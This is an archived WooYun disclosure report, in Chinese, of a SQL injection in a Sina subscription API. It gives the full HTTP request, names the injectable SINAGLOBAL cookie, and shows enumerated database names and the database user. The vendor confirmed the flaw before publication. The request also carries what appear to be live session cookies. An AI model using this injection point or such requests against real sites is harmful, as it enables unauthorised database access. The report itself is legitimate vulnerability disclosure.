当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0164840

漏洞标题：新浪某重要站一处隐秘SQL注入

相关厂商：新浪

漏洞作者： Aasron

提交时间：2015-12-26 09:58

修复时间：2016-02-09 23:29

公开时间：2016-02-09 23:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-26： 细节已通知厂商并且等待厂商处理中
2015-12-28： 厂商已经确认，细节仅向厂商公开
2016-01-07： 细节向核心白帽子及相关领域专家公开
2016-01-17： 细节向普通白帽子公开
2016-01-27： 细节向实习白帽子公开
2016-02-09： 细节向公众公开

简要描述：

新浪某重要站一处隐秘SQL注入

详细说明：

PS:大晚上的给你们测，来点分吧
好家伙，测了半天，这问题还真是隐秘，抓到的一个api接口

漏洞证明：

新浪女性：http://eladies.sina.com.cn/


POST /subscribe/api/subscribe/replace?callback=SINAFEEDCARD_COLUMNS_EDIT_DONE1 HTTP/1.1
Host: user.mix.sina.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://eladies.sina.com.cn/
Cookie: UOR=www.baidu.com,blog.sina.com.cn,; U_TRS1=0000004d.a6f73a71.561d5fa9.39fe612a; SINAGLOBAL=218.88.5.77_1444765609.861120; ULV=1451065910374:15:11:8:118.113.44.240_1451065894.128828:1451065894923; vjuids=-729f853b7.15062bf3e35.0.ca6996cc26125; vjlast=1451065897.1451065910.10; SGUID=1444765720537_53848067; SUB=_2AkMhQ_sJf8NhqwJRmPoTzmnqaopxzgHEiebDAH_sJxJjHn4R7ATyI2TWBLe0izdFJW3NlyMrT0mT; SUBP=0033WrSXqPxfM72-Ws9jqgMF55529P9D9W5T7zv7C5MpTzkl0.yMn9G2; lxlrttp=1451047290; ArtiFSize=14; Apache=118.113.44.240_1451065894.128828; usrmdpool=usrmdinst_7; rotatecount=3; U_TRS2=000000f0.c35bced.567d823a.841f2e59
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 239
from=pc&data%5B0%5D%5Bc%5D=-101&data%5B0%5D%5Bw%5D=0&data%5B1%5D%5Bc%5D=18&data%5B1%5D%5Bw%5D=1&data%5B2%5D%5Bc%5D=19&data%5B2%5D%5Bw%5D=2&data%5B3%5D%5Bc%5D=100&data%5B3%5D%5Bw%5D=3&data%5B4%5D%5Bc%5D=20&data%5B4%5D%5Bw%5D=4&project_id=20


注入参数#SINAGLOBAL


available databases [3]:
[*] information_schema
[*] test
[*] usersubscribe


current user:    'usersubscribe@10.71.%'


修复方案：

过滤

版权声明：转载请注明来源 Aasron@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-12-28 13:27

厂商回复：

感谢支持

最新状态：

暂无

漏洞评价：

评价

  1. 2015-12-26 19:56 | Aasron ( 普通白帽子 | Rank:208 漏洞数:57 | 工欲善其事，必先利其器)

    @新浪 本来是影响大概8个重要分站的，填错名字了，你们慢慢排查吧